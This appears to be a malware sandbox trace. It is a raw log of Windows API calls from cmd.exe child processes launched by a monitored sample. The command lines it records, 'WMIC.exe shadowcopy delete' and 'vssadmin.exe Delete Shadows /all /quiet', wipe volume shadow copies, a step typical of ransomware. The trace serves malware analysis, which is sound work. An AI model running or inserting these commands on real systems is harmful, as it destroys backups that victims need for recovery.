	[0197.112] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.112] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.113] GetLastError () returned 0x2
	[0197.113] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe.*", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.113] GetLastError () returned 0x2
	[0197.113] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0xffffffffffffffff
	[0197.114] GetLastError () returned 0x2
	[0197.114] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0197.114] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe", fInfoLevelId=0x1, lpFindFileData=0x1eed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1eed50) returned 0x26c0c0
	[0197.114] GetProcessHeap () returned 0x250000
	[0197.114] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x0, Size=0x28) returned 0x2645c0
	[0197.114] FindClose (in: hFindFile=0x26c0c0 | out: hFindFile=0x26c0c0) returned 1
	[0197.115] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0197.115] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0197.115] GetConsoleTitleW (in: lpConsoleTitle=0x1ef2a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0197.115] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ef058, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ef018 | out: lpAttributeList=0x1ef058, lpSize=0x1ef018) returned 1
	[0197.115] UpdateProcThreadAttribute (in: lpAttributeList=0x1ef058, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ef008, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ef058, lpPreviousValue=0x0) returned 1
	[0197.116] GetStartupInfoW (in: lpStartupInfo=0x1ef170 | out: lpStartupInfo=0x1ef170*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) 
	[0197.116] GetProcessHeap () returned 0x250000
	[0197.116] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x20) returned 0x2645f0
	[0197.116] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0197.116] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0197.116] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0197.116] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0197.116] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0197.116] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0197.116] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0197.117] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0197.118] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0197.119] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0197.119] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0197.119] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0197.119] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0197.119] GetProcessHeap () returned 0x250000
	[0197.119] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2645f0 | out: hHeap=0x250000) returned 1
	[0197.119] GetProcessHeap () returned 0x250000
	[0197.119] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x12) returned 0x2688d0
	[0197.119] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1
	[0197.312] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="WMIC.exe  shadowcopy delete", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1ef090*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="WMIC.exe  shadowcopy delete", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1ef040 | out: lpCommandLine="WMIC.exe  shadowcopy delete", lpProcessInformation=0x1ef040*(hProcess=0x54, hThread=0x50, dwProcessId=0x1dc8, dwThreadId=0x1dcc)) returned 1
	[0197.398] CloseHandle (hObject=0x50) returned 1
	[0197.398] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0197.398] GetProcessHeap () returned 0x250000
	[0197.398] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ac00 | out: hHeap=0x250000) returned 1
	[0197.398] GetEnvironmentStringsW () returned 0x26ac00*
	[0197.398] GetProcessHeap () returned 0x250000
	[0197.398] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xae8) returned 0x268a30
	[0197.399] FreeEnvironmentStringsW (penv=0x26ac00) returned 1
	[0197.399] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0
	[0251.488] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1eef88 | out: lpExitCode=0x1eef88*=0x80041002) returned 1
	[0251.489] CloseHandle (hObject=0x54) returned 1
	[0251.489] _vsnwprintf (in: _Buffer=0x1ef1f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eef98 | out: _Buffer="80041002") returned 8
	[0251.490] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041002") returned 1
	[0251.490] GetProcessHeap () returned 0x250000
	[0251.490] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x268a30 | out: hHeap=0x250000) returned 1
	[0251.491] GetEnvironmentStringsW () returned 0x26c0c0*
	[0251.491] GetProcessHeap () returned 0x250000
	[0251.491] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xb0e) returned 0x268a30
	[0251.491] FreeEnvironmentStringsW (penv=0x26c0c0) returned 1
	[0251.491] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0251.491] GetProcessHeap () returned 0x250000
	[0251.491] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x268a30 | out: hHeap=0x250000) returned 1
	[0251.491] GetEnvironmentStringsW () returned 0x26c0c0*
	[0251.491] GetProcessHeap () returned 0x250000
	[0251.491] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xb0e) returned 0x268a30
	[0251.491] FreeEnvironmentStringsW (penv=0x26c0c0) returned 1
	[0251.491] GetProcessHeap () returned 0x250000
	[0251.492] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2688d0 | out: hHeap=0x250000) returned 1
	[0251.492] DeleteProcThreadAttributeList (in: lpAttributeList=0x1ef058 | out: lpAttributeList=0x1ef058) 
	[0251.492] _get_osfhandle (_FileHandle=1) returned 0x7
	[0251.492] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0251.493] _get_osfhandle (_FileHandle=1) returned 0x7
	[0251.494] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0251.494] _get_osfhandle (_FileHandle=0) returned 0x3
	[0251.494] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0251.495] SetConsoleInputExeNameW () returned 0x1
	[0251.495] GetConsoleOutputCP () returned 0x1b5
	[0251.496] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0251.496] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0251.496] exit (_Code=-2147217406) 

Process:
	id = "49"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x28596000"
	os_pid = "0x167c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1063
	os_tid = 0x1680

	[0195.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fdf0 | out: lpSystemTimeAsFileTime=0x18fdf0*(dwLowDateTime=0x4488c6f0, dwHighDateTime=0x1d5cdef)) 
	[0195.283] GetCurrentProcessId () returned 0x167c
	[0195.283] GetCurrentThreadId () returned 0x1680
	[0195.283] GetTickCount () returned 0x11766bf
	[0195.283] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdf8 | out: lpPerformanceCount=0x18fdf8*=33703574845) returned 1
	[0195.285] GetModuleHandleW (lpModuleName=0x0) returned 0x4a010000
	[0195.285] __set_app_type (_Type=0x1) 
	[0195.286] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a037810) returned 0x0
	[0195.286] __getmainargs (in: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610, _DoWildCard=0, _StartInfo=0x4a03e0f4 | out: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610) returned 0
	[0195.287] GetCurrentThreadId () returned 0x1680
	[0195.287] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1680) returned 0x3c
	[0195.287] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0195.288] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0195.288] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0195.288] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0195.288] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18fd88 | out: phkResult=0x18fd88*=0x0) returned 0x2
	[0195.289] VirtualQuery (in: lpAddress=0x18fd70, lpBuffer=0x18fcf0, dwLength=0x30 | out: lpBuffer=0x18fcf0*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.289] VirtualQuery (in: lpAddress=0x90000, lpBuffer=0x18fcf0, dwLength=0x30 | out: lpBuffer=0x18fcf0*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.289] VirtualQuery (in: lpAddress=0x91000, lpBuffer=0x18fcf0, dwLength=0x30 | out: lpBuffer=0x18fcf0*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.289] VirtualQuery (in: lpAddress=0x94000, lpBuffer=0x18fcf0, dwLength=0x30 | out: lpBuffer=0x18fcf0*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.289] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x18fcf0, dwLength=0x30 | out: lpBuffer=0x18fcf0*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x19000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.289] GetConsoleOutputCP () returned 0x1b5
	[0195.290] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0195.291] SetConsoleCtrlHandler (HandlerRoutine=0x4a033184, Add=1) returned 1
	[0195.291] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.291] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0195.292] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.292] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0195.293] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.293] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0195.294] _get_osfhandle (_FileHandle=0) returned 0x3
	[0195.294] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0195.295] _get_osfhandle (_FileHandle=0) returned 0x3
	[0195.295] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0195.296] GetEnvironmentStringsW () returned 0x1a8a60*
	[0195.296] GetProcessHeap () returned 0x190000
	[0195.296] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xa7c) returned 0x1a94f0
	[0195.297] FreeEnvironmentStringsW (penv=0x1a8a60) returned 1
	[0195.297] GetProcessHeap () returned 0x190000
	[0195.297] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x8) returned 0x1a9f80
	[0195.297] GetEnvironmentStringsW () returned 0x1a8a60*
	[0195.297] GetProcessHeap () returned 0x190000
	[0195.297] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xa7c) returned 0x1a9fa0
	[0195.297] FreeEnvironmentStringsW (penv=0x1a8a60) returned 1
	[0195.298] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18ec48 | out: phkResult=0x18ec48*=0x44) returned 0x0
	[0195.298] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x0, lpData=0x18ec60*=0x18, lpcbData=0x18ec44*=0x1000) returned 0x2
	[0195.298] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x4, lpData=0x18ec60*=0x1, lpcbData=0x18ec44*=0x4) returned 0x0
	[0195.298] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x0, lpData=0x18ec60*=0x1, lpcbData=0x18ec44*=0x1000) returned 0x2
	[0195.298] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x4, lpData=0x18ec60*=0x0, lpcbData=0x18ec44*=0x4) returned 0x0
	[0195.298] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x4, lpData=0x18ec60*=0x40, lpcbData=0x18ec44*=0x4) returned 0x0
	[0195.299] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x4, lpData=0x18ec60*=0x40, lpcbData=0x18ec44*=0x4) returned 0x0
	[0195.299] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x0, lpData=0x18ec60*=0x40, lpcbData=0x18ec44*=0x1000) returned 0x2
	[0195.299] RegCloseKey (hKey=0x44) returned 0x0
	[0195.299] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18ec48 | out: phkResult=0x18ec48*=0x44) returned 0x0
	[0195.299] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x0, lpData=0x18ec60*=0x40, lpcbData=0x18ec44*=0x1000) returned 0x2
	[0195.299] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x4, lpData=0x18ec60*=0x1, lpcbData=0x18ec44*=0x4) returned 0x0
	[0195.300] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x0, lpData=0x18ec60*=0x1, lpcbData=0x18ec44*=0x1000) returned 0x2
	[0195.300] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x4, lpData=0x18ec60*=0x0, lpcbData=0x18ec44*=0x4) returned 0x0
	[0195.300] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x4, lpData=0x18ec60*=0x9, lpcbData=0x18ec44*=0x4) returned 0x0
	[0195.300] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x4, lpData=0x18ec60*=0x9, lpcbData=0x18ec44*=0x4) returned 0x0
	[0195.300] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18ec40, lpData=0x18ec60, lpcbData=0x18ec44*=0x1000 | out: lpType=0x18ec40*=0x0, lpData=0x18ec60*=0x9, lpcbData=0x18ec44*=0x1000) returned 0x2
	[0195.300] RegCloseKey (hKey=0x44) returned 0x0
	[0195.300] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e698
	[0195.301] srand (_Seed=0x5e22e698) 
	[0195.301] GetCommandLineW () returned="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	[0195.301] GetCommandLineW () returned="cmd /c \"vssadmin.exe Delete Shadows /all /quiet\""
	[0195.301] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0195.302] GetProcessHeap () returned 0x190000
	[0195.302] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x218) returned 0x1aaa30
	[0195.302] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1aaa40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0195.302] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0195.302] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0195.302] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0195.303] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0195.303] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0195.303] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0195.303] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0195.303] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0195.303] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0195.303] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0195.303] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0195.303] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0195.303] GetProcessHeap () returned 0x190000
	[0195.303] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1a94f0 | out: hHeap=0x190000) returned 1
	[0195.304] GetEnvironmentStringsW () returned 0x1a8a60*
	[0195.304] GetProcessHeap () returned 0x190000
	[0195.304] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xa94) returned 0x1ab6f0
	[0195.304] FreeEnvironmentStringsW (penv=0x1a8a60) returned 1
	[0195.304] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0195.304] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0195.305] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0195.305] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0195.305] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0195.305] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0195.305] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0195.305] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0195.305] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0195.305] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0195.305] GetProcessHeap () returned 0x190000
	[0195.305] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x5c) returned 0x1a8300
	[0195.305] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18fa50 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0195.306] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x18fa50, lpFilePart=0x18fa30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18fa30*="Desktop") returned 0x25
	[0195.306] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0195.306] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x18f760 | out: lpFindFileData=0x18f760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Users", cAlternateFileName="")) returned 0x191320
	[0195.306] FindClose (in: hFindFile=0x191320 | out: hFindFile=0x191320) returned 1
	[0195.306] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x18f760 | out: lpFindFileData=0x18f760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x191320
	[0195.307] FindClose (in: hFindFile=0x191320 | out: hFindFile=0x191320) returned 1
	[0195.307] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
